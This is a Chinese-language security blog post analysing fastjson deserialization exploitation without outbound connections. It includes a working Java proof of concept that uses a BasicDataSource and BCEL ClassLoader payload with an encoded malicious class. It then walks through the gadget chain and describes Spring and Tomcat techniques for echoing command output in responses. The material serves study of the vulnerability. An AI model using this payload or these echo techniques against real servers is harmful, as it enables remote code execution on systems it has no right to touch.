fastjson不出网利用简析

前言

又来炒冷饭啦,做项目终于遇到个fastjson反序列化,但又不想贡献自己的VPS出来搭个JNDI,于是网上找个POC试了下。Duang的一下竟然成功了,执行命令还有回显,有点意思啊,于是开始炒冷饭了。

利用前提

既然是不出网,许多POC中利用JNDI远程加载外部类的方法就无法使用了,不出网的利用需要无需加载类或可通过类属性加载。另一个前提就是获取命令的执行结果,可以将结果写入到web目录,访问该文件获取结果,但更优雅的方式是获取response,将结果从响应信息中输出。

远程加载类

目前公开且较为通用的不出网利用链有两条。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

TemplatesImpl上一篇文章已经分析过了,反序序列化方法中feature参数需要设置为允许给非公有属性赋值,与BasicDataSource相比就有些鸡肋了。BasicDataSource只需要有dbcptomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

以下是一个加载恶意类,而恶意类静态代码中有写了Runtime弹计算器的POC,老样子在exec方法处下断点,发现调用栈还是比较钱的,可以从开头开始分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.p1ay2win.fastjson;

import com.alibaba.fastjson.JSON;

public class BCEL {
public static void main(String[] args){
String payload2 = "{\n" +
" {\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
JSON.parse(payload2);
}
}

直接跟进到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject,当反序列化的对象为JSONObject时,会调用键的toString方法。此时的键是键为x,值为BasicDataSource对象的JSONObject对象。

跟进com.alibaba.fastjson.JSON#toString,返回的是它的toJSONString方法的值。接着又套娃调用了三次write方法,来到了com.alibaba.fastjson.serializer.ASMSerializer_1_BasicDataSource#write。IDEA并么有识别出ASMSerializer_1_BasicDataSource的源码,也就是com.alibaba.fastjson.serializer下并没有这个类。

回到com.alibaba.fastjson.serializer.MapSerializer#write调用serializer属性的getObjectWriter方法处跟进,发现最终调用的是com.alibaba.fastjson.serializer.SerializeConfig#createASMSerializerASMSerializerFactory工厂类生成了BasicDataSourceASMSerializer专属子类ASMSerializer_1_BasicDataSource

关于ASMSerializer_1_BasicDataSource这个类,这里就涉及了一个知识点:ASM。

ASM是一个通用的Java字节码操作和分析框架,它可以用来修改现有的类或直接以二进制形式动态生成类。ASM提供了一些常见的字节码转换和分析算法,从中可以构建定制的复杂转换和代码分析工具。ASM提供了与其他Java字节码框架类似的功能,但侧重于性能。因为它的设计和实现都尽可能小和快,所以它非常适合在动态系统中使用(当然也可以以静态方式使用,例如在编译器中)。

生成这个类的write方法中会调用BasicDataSource类的getter方法,其中就有最开始调用栈中的org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection方法。接着跟进到org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory,当driverClassLoader非空时,会调用loader可控的forName重载方法。

此时的loader是BCEL的ClassLoader,这是一个神奇的ClassLoader。当反射的类名是$$BCEL$$开头时,会将类名剩余部分解码作为输入流,解析并返回一个Class实例,那么恶意类的静态代码中的恶意代码就会被执行。

回显

在网上找到了两串BCEL回显的POC,使用BCEL自带的Utility工具类解码,保存为.class文件就可以用IDEA反编译直接看。解码Demo如下:

1
2
3
4
5
6
7
8
public class BCELDecode {
public static void main(String[] args) throws IOException {
String encode = "$l$8b$I$A$A$A$A$A$A$A...";
byte[] decode = Utility.decode(encode,true);
FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");
fileOutputStream.write(decode);
}
}

先来看看Spring获取request和response的办法,是一种较为通用的方法。Spring在请求预处理调用processRequest方法的时候,会将request和response放进RequestContextHolder的线程局部变量里,所以当前线程的任何地方都可以取用到request和response。

在看看tomcat的回显,代码稍长,利用的是c0ny1师傅提出的一种方法,深度优先搜索遍历当前线程的所有属性找到request和response,是tomcat上一种较为通用的回显方法。详细的分析可以在c0ny1的文章:半自动化挖掘 request 实现多种中间件回显中看到,这里就不展开说。

以上两种方法都用Thread.currentThread().getContextClassLoader()获取上下文类加载器来加载类,个人的理解呢,是因为Java的双亲委派机制。直接使用Class.forName加载的话,在反序列化或加载内存马的点的类加载器是spring和tomcat类的类加载器的parent类加载器,或是与他平行的分支,直接用Class.forName就无法加载到spring和tomcat的类。

而Spring和tomcat又因为不同Web应用不同版依赖本共存、动态加载jsp等一些原因打破了双亲委派机制,会将当前线程的上下文类加载器设置为他们各自的Web应用类加载器,刚好就能通过上下文类加载器加载到想要的Spring和tomcat类。

以上是个人对上下文类加载器在回显中作用的个人理解,若其中有误,欢用各位师傅斧正。

后记

以上涉及的知识点也就是BCEL的Classloader特性、双亲委派机制和打破双亲委派的方法,好像也没什么,但这段时间的心路历程让我想起来王家卫东邪西毒里的一句

每个人都会经历这个阶段:
看见一座山,就想知道山后面是什么。
我很想告诉他,
可能翻过去山后面,你会发觉没有什么特别。
回头看,会觉得这一边更好。
但我知道他不会听,
以他的性格,自己不试过,又怎么会甘心?

参考

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://github.com/depycode/fastjson-local-echo

https://segmentfault.com/a/1190000040160637

https://segmentfault.com/a/1190000040188046

https://paper.seebug.org/1181/

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×